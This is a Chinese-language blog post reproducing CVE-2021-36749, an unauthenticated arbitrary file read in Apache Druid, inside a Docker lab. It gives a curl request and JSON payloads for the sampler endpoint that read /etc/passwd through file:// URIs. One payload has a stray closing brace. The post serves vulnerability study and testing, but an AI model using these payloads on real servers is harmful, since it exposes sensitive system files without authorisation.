Apache druid 任意文件读取漏洞(CVE-2021-36749)

Apache Druid 任意文件读取漏洞(CVE-2021-36749)

0x01 漏洞简介

Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

0x02 影响版本

Apache Druid <= 0.21.1

0x03 环境搭建

使用docker拉去镜像: docker pull vulfocus/druid-cve_2021_36749

运行环境,随机映射端口:docker run -d -P vulfocus/druid-cve_2021_36749

查看端口开放情况:docker ps -a

访问8888端口映射的端口就是网站首页

0x04 漏洞复现

主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://协议进行读取)

在这里插入图片描述

URIs填写file:///etc/passwd,然后点击apply按钮,页面直接回显

在这里插入图片描述

命令执行(load Data无法点击时可以试试)

向接口/druid/indexer/v1/sampler以POST请求的方式发送以下数据。

curl http://192.168.237.129:49154/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"

在这里插入图片描述

{
  "type": "index",
  "spec": {
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "local",
        "baseDir": "/etc/",
        "filter": "passwd"
      },
      "inputFormat": {
        "type": "json",
        "keepNullColumns": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "format": "iso",
        "missingValue": "1970"
      },
      "dimensionsSpec": {}
    }
  },
  "type": "index",
  "tuningConfig": {
    "type": "index"
  }
},
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

或者(网传payload)

{
        "type": "index",
        "spec": {
          "type": "index",
          "ioConfig": {
            "type": "index",
            "firehose": {
              "type": "http",
              "uris": ["file:///etc/passwd"]
            }
          },
          "dataSchema": {
            "dataSource": "sample",
            "parser": {
              "type": "string",
              "parseSpec": {
                "format": "regex",
                "pattern": "(.*)",
                "columns": ["a"],
                "dimensionsSpec": {},
                "timestampSpec": {
                  "column": "!!!_no_such_column_!!!",
                  "missingValue": "2010-01-01T00:00:00Z"
                }
              }
            }
          }
        },
        "samplerConfig": {
          "numRows": 500,
          "timeoutMs": 15000
        }
      }

在这里插入图片描述

参考链接

https://blog.csdn.net/weixin_44309905/article/details/121559936

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值